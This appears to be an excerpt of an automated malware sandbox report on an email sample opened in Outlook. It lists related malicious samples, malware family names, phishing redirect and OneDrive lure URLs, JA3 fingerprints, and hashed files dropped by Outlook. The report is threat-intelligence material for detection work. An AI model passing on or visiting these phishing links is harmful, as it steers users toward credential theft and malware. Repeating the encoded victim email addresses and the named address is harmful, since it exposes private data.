	https://www.google.es/url?q=queryri4m(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fmediamei.com.br%2fdada%2funcz66ahtgqg1jqqmvsnfzkcw2oylxhqc48ee/YW5pbWFsaWFAYW5pbWFsaWEubm8=$?	Get hash	malicious	Unknown	Browse	13.107.137.11
	REMITTANCE_Confrimationsslip54342Bqlaw.html	Get hash	malicious	Unknown	Browse	13.107.139.11
	http://track.reviewmgr.com/ls/click?upn=u001.W5y-2Fhe84rCuLxXDO470nfuKD2Iz98QeQpE-2BkxRR0H-2BqB5cDKklujIJ5FLru7QrAASOSa17vR-2FSCLVAx4lWyy5Q-3D-3DNnGv_Yp4ydSxZWNatis3HtI6bBrJjg57JYwT6kbyY2f89Z-2FBhxNJZyCBl9w6yXNV0YfiKUAGjaILaAN0mF43Ydvv3aAXjCPBMrYvHXhqj-2F90M8IWSluK-2FDr0h4-2FIbAXpExZIWOjtRSKBCrpvm-2BHKZd6Q2itOPvvv8Wh8uHJq1rbQgzA92MMGG0eeFCZzQMnosAWydLTI7R4yQPl90fJpGVjewvRcCF77tY5-2B3PAHwq6SU-2Fc2kSK8E1mMumIEdp0dsw2BfptVK6-2FXO4Hh-2FAV8-2FJ5YFUs6qp3oyRx3LiWrBnDVYrVE-3D	Get hash	malicious	Unknown	Browse	13.107.137.11
	https://1drv.ms/o/c/66fa7da2ba9759b3/EqcaXs4PlQlIgYgaPtxczNwB_gWaZXRP_eT5RhV50i4cxw?e=5%3aJHIMrP&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	13.107.137.11
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s599af221dbfd41b9a607812ebc66d2cf&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VpSHltbG45MjdsQnBnZUJMcnhtMHM4QjRNbHFPTTJWd0ZlQTFNLWNhZ0lnRkE_ZT1aak8wczY&wd=target%28Sezione%20senza%20titolo.one%7C99ad2a4b-5ecc-495f-9ce8-040ac62eb8f2%2F%5BExternal%5D%20-%20Invoice%20%27s%208808-%7C9e6e973e-3cda-429a-a28f-c51dc242e5b1%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	13.107.139.11
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	13.107.139.11
bg.microsoft.map.fastly.net	1L8qjfD9J2.exe	Get hash	malicious	Njrat	Browse	199.232.210.172
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	199.232.210.172
	file.exe	Get hash	malicious	Stealc	Browse	199.232.214.172
	INTRUM65392.pdf.lnk	Get hash	malicious	Unknown	Browse	199.232.214.172
	Recent Services Delays Update.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	199.232.214.172
	invoice-6483728493.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	PI-02911202409#.xla	Get hash	malicious	Unknown	Browse	199.232.210.172
	V-Mail.msg	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	file.exe	Get hash	malicious	Xmrig	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	Recent Services Delays Update.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.247.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	YH-3-12-2024-GDL Units - Projects.exe	Get hash	malicious	FormBook	Browse	104.21.36.62
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
CLOUDFLARENETUS	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	Recent Services Delays Update.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.247.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	YH-3-12-2024-GDL Units - Projects.exe	Get hash	malicious	FormBook	Browse	104.21.36.62
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
CLOUDFLARENETUS	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	Recent Services Delays Update.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.247.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	YH-3-12-2024-GDL Units - Projects.exe	Get hash	malicious	FormBook	Browse	104.21.36.62
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	1L8qjfD9J2.exe	Get hash	malicious	Njrat	Browse	52.149.20.212 40.126.53.11 23.218.208.109
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 40.126.53.11 23.218.208.109
	KMS_VL_ALL_AIO.cmd	Get hash	malicious	Unknown	Browse	52.149.20.212 40.126.53.11 23.218.208.109
	Recent Services Delays Update.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	52.149.20.212 40.126.53.11 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.149.20.212 40.126.53.11 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.149.20.212 40.126.53.11 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.149.20.212 40.126.53.11 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	52.149.20.212 40.126.53.11 23.218.208.109
	6DrfHb21Lt.exe	Get hash	malicious	Stealc, Vidar	Browse	52.149.20.212 40.126.53.11 23.218.208.109
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=pztuconjvsFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Furlz.fr/tiku#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29t	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 40.126.53.11 23.218.208.109

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	3.4679554894199565
Encrypted:	false
SSDEEP:	6:kKFSy8DBlEJFN+SkQlPlEGYRMY9z+s3Ql2DUevat:4y8kPlE99SCQl2DUevat
MD5:	56F034A60A07D97749C286448F6FC7B7
SHA1:	A15D7E5BBBB284E558FC504C0A4DCA07DE95486E
SHA-256:	7A5445F9EC0719636AB45DC05C4A7D956E0D6F4CA5E8A703C7509BCCA3DC0017
SHA-512:	A25D438E0D0E8397DED8956CAD33640EB4B597F50496BE7916BE53B25DC8DC8B78190B7C479E3396141C7A5275448FFE090E5AC8755F5B5CC5DD38E3B7973FA6
Malicious:	false
Reputation:	low
Preview:	p...... ........v...ZE..(..................................................^SZ.. .........p.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	231348
Entropy (8bit):	4.381948040459954
Encrypted:	false
SSDEEP:	1536:qjYLzjgsieneulw0mgsruNcAz79ysQqt2llF+qoQXIrcm0FvHlWyWX+0bMVqWJzC:P/gnUOgJmiGu2oqoQYrt0FvjTN1rCh0i
MD5:	E693329F4C2D7CA2CC231CB46A88F07C
SHA1:	05C5BE52FAFECF59882A398A486E86A15C39C876
SHA-256:	6212B375D78D982141DD28BFE8950E185347A5E87CCAE9FBC766F1790FA8C976
SHA-512:	37C544E486D88AD5B11F8ECA939C4BF9C75D0153E59131ACB7738B0EECE71C8BE9DC2711DA3FE76165FBF23F204FDB7C86D1C5D8F19E1B03D2D2C118E37B64DE
Malicious:	false
Preview:	TH02...... . {..ZE......SM01X...,...@...ZE..........IPM.Activity...........h...............h............H..hL.f.....A.R>...h............H..h\cal ...pDat...h....0.....f....h..U...........h........_`Uk...h..U@...I.lw...h....H...8.Zk...0....T...............d.........2h...............k..1.......;...!h.............. h.i.z......f...#h....8.........$h........8....."h..............'h..}...........1h..U<.........0h....4....Zk../h....h.....ZkH..h....p...L.f...-h ........f...+h..U....@.f................. ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000.GwwMicrosoft...This form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	322260
Entropy (8bit):	4.000299760592446
Encrypted:	false
SSDEEP:	6144:dztCFLNyoAHq5Rv2SCtUTnRe4N2+A/3oKBL37GZbTSB+pMZIrh:HMLgvKz9CtgRemO3oUHi3SBSMZIl
MD5:	CC90D669144261B198DEAD45AA266572
SHA1:	EF164048A8BC8BD3A015CF63E78BDAC720071305
SHA-256:	89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899
SHA-512:	16F8A8A6DCBAEAEFB88C7CFF910BCCC71B76A723CF808B810F500E28E543112C2FAE2491D4D209569BD810490EDFF564A2B084709B02963BCAF6FDF1AEEC59AC
Malicious:	false
Preview:	51253fe60063c31af0d295afb42228b0:v2:2:1:1590:2:8479:76bd602437550e98c9043d06a55186ab7d95dea5a0e935a599f73e62a8c9b158e0afcb19351f6c353940c06a38172b94d18c02cf92bb8a80184eccca0392b259ab3e71dae73e491c7941997cb36ad4a198661f622dad478d840f66d530a0dde78acea3367f91fff62fbb3dc18faff0c708ad30edef5bea8b22c5fd782b770d8993386eaa784fd19a3c3e1db3b537b1a94d3d4fbd46f8df8fddf6d16611969fe0a97c50e0f3ac24750c93257cf5c161184aa7385800c87d803b339632a3d8ec7fe17a0afd83ce9e9d0e3f7b8d579637928a811f1f7e6d1887df2ddc7d4f752c4d600235e426c92c7bf8a1362f95457998cc0e5d4261f0efa4fada0f866dbcefb407dacab7a2914e91c2f08200f38c2d9d621962145b1464b0f204b326118a53ecdcab22bff005fdd5257c99a6dc51ac0600a49f2ef782396987e78c08b846dad5db55e8ccefffc64863bc2c3e90b95a09d25d0814a848c98fe01a82d4e30e6682dd546e12c45ca0d280a45295ab4bd632dafb070edfdc3c9e38313d5aeb195972986f8011b66817028fd8c78b67a0ac7e780eecc3fb6a31f5a025b8a9a3db278a98c0696aeaac739b18688b0f9c7d751bba02cc5f4e41853fb119b3c0c915059aaa92971244a1989124f12881ca88e6410df70b793a2c3a736ff4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	10
Entropy (8bit):	2.3709505944546683
Encrypted:	false
SSDEEP:	3:L2:K
MD5:	A697222E25D29E38C54A3B6FCC2B4A0F
SHA1:	F55A9DFE1FEE8946F8396766B8D822C7E32B0694
SHA-256:	AFDB5C258D1653DDA594B15E9B8A1B9DCD4AE4EC50A5C733562F96B34DE2D2D4
SHA-512:	4D861CB611266C0AC23B99438F12A2AA6F7AA9F0B6C7EA172E17760BB950147781465B947A853D205F3FB865FE4C49CB936B03FA8B14C8A9D311063B1440E6EE
Malicious:	false
Preview:	1733213108

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite 3.x database, last written using SQLite version 3023002, writer version 2, read version 2, file counter 2, database pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.09216609452072291
Encrypted:	false
SSDEEP:	3:lSWFN3l/klslpF/4llfll:l9F8E0/
MD5:	F138A66469C10D5761C6CBB36F2163C3
SHA1:	EEA136206474280549586923B7A4A3C6D5DB1E25
SHA-256:	C712D6C7A60F170A0C6C5EC768D962C58B1F59A2D417E98C7C528A037C427AB6
SHA-512:	9D25F943B6137DD2981EE75D57BAF3A9E0EE27EEA2DF19591D580F02EC8520D837B8E419A8B1EB7197614A3C6D8793C56EBC848C38295ADA23C31273DAA302D9
Malicious:	false
Preview:	SQLite format 3......@ .......................................................................... .....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.13760166725504608
Encrypted:	false
SSDEEP:	3:7FEG2l+/V8l/K/FllkpMRgSWbNFl/sl+ltlslVlllfllu:7+/l+0Kg9bNFlEs1EP/+
MD5:	7D1FC4F7555625B9AF6BAB2CE2D26986
SHA1:	384526FB444AA0D4568BAF27DD17FC877526E6FB
SHA-256:	0CFBBBA62B810C7B4B9220815BA76D1B05A817B77C77659534ADCC4E0D69CDA6
SHA-512:	B33444D122CCE201473CD3934A5CA582B1CE890A204DCC8386885EF4A26C5BEC564F0969F664F791CF1C02AA5471BF13859786233A180FF4CAE64C9C133AE560
Malicious:	false
Preview:	.... .c.....Zs7.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ .......................................................................... .................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04462234229792196
Encrypted:	false
SSDEEP:	6:G4l20pm/dollCl20pm/FEL9XXPH4l942U:l2z2I5A0
MD5:	D0B45E5285E1EDBC30D83DB052D5482A
SHA1:	783CA754894BEEF536455BB3C400F945A2E8F050
SHA-256:	87606D3A0B7F363926D3D4B2FEA8B3ACD90B60134DB47B698598180B9B1EB8A3
SHA-512:	6200D706E1E4912056F73C851E7C09EE21D56D89C3B5AD1AB030DE9BEACF9EE2AE74FE16522136C3993405F8F720284C329B22CA2540B0CC6982702EB08E4A5A
Malicious:	false
Preview:	..-.......................Yo..".......j......+..-.......................Yo..".......j......+........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	45352
Entropy (8bit):	0.39571826687137013
Encrypted:	false
SSDEEP:	24:Kx1GCQ3zRDJ/KGTUll7DBtDi4kZERDLSjqzqt8VtbDBtDi4kZERDL8BM:U1GCQ1VysUll7DYMnSOzO8VFDYMt
MD5:	4EBF8DFDC6ECA1FC5096FFB14CF28CAB
SHA1:	12D03F284555FE789BBE27D9C9C2422A84FB5F43
SHA-256:	FA01D0CAD15C4EA3C57FB821FC609EF3E18D6BB0EDFBEDDF66AFF1E7D6B5E56A
SHA-512:	458D16567398D47C22382F2311502DEC0A4DB2ED466ECF52182D248BCB04A7C478E7306170B1CFD498B11E6DF8987D1569AD1E4A6B482E839524D6513A8BDC42
Malicious:	false
Preview:	7....-................j]. ...................j%.......SQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.849395828390884
Encrypted:	false
SSDEEP:	48:uiTrlKxsxxGxl9Il8uZoa/0LZVas2Yjo3H1fSVd1rc:vCYB/ebaMMV1
MD5:	55E794DEAC5D77E65115422680D39848
SHA1:	FAD6A20EED6349A5C4402AFDA65B7A33841F9368
SHA-256:	BE80D81C1A92698646D019D733B49EE4B84B7D368897CF91C9F29B36D15577F7
SHA-512:	A2465916E465ADF6120B92632718EA083D398954D98AD470DFC304792F14EC06EFE3AB6C614AAD6F2705D820A523A013F6D848D77BF6AFC4F8468E350AB54E0C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.H.Z.y.c.W.J.F.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.g.o.7.Y.J.G.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.907412134553433
Encrypted:	false
SSDEEP:	48:uiTrlKxJxoJJxl9Il8uZogoFlycACMcRn/clTqQAtBwU9zoBFd/vc:DDYmF5McJclTqQAtBwU9qk
MD5:	C62E1DCAE38A65ADB9D4AF80ACA78451
SHA1:	08E3E263E37494E1EA2BA48DD83D3F829A0C6F20
SHA-256:	D24FCEDB98CE310A9C810B164EA23EEFB659C916097865DC51FD0ECC6A5EE24E
SHA-512:	977CB5C1EFD9D7F846F15D74D62D29BB009EEF643801FEF0C4D3F74798CBAAC0846A8BBF91048B7A065698B5B690784D83A63939DBD120FCB94B4DF80F7D9D9E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.H.X.L.G.R.5.H.j.D.k.3.C.i.F.b.L.a.m.K.N.+.n.c.g.T.0.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".D.2.q.a.i.C.t.k.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.g.o.7.Y.J.G.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	3.992087554379614
Encrypted:	false
SSDEEP:	96:mYfNNC2Ac0e//Hzc7aK5RuOzGM9aX3rp1k2UD:meamfo7fnzGOY3AD
MD5:	B0029B810792E498F84BECC77C4C63DA
SHA1:	5F95C8ABC647C9D9BA696DBAF6DE7E6E24D7B579
SHA-256:	2B39E393B5BA9D991AE8406D42FF8688FA7AEB7382A562DB2323E801D581F39B
SHA-512:	B4AFF9F601BAFDF8C5F8E770B4BBC303369B05BA46C6A11FE4EA1737274A83DCF648DFBAB14C009E91BAA879823D7E9ED9DD0307E1E0D20379ECBC74A6CDD8AF
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".D.H.Y.a.V.1.p.F.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.g.o.7.Y.J.G.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM (002).html

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (20396), with CRLF line terminators
Category:	dropped
Size (bytes):	122622
Entropy (8bit):	2.9049740407009073
Encrypted:	false
SSDEEP:	3072:tDK94eMh2iIrgc4eIBlyDiDMSxhQ3hifgtshIfyDysjshTD3gRQBFD99KIp/9MDh:tDK94eMh2iIrgc4eIBlyDiDMSxhQ3hin
MD5:	A8B19E5A76DD053C42B8392A3264A776
SHA1:	635D44E0336A05E17D8F3E67468F14E0A255134F
SHA-256:	E2BAB48D3AF08B482F1B18A6D625CDFFE14857DA3AB2BE452793F7932505C2EE
SHA-512:	F1522ABDCDC5F261B221874B8D3363C1B2A4B1F8279E257A14ACE0E11A7DC00A80244FD9403FEC48F0B5074786A5AD322B4A9D61861BCDB4895AB2DDCE137A1A
Malicious:	false
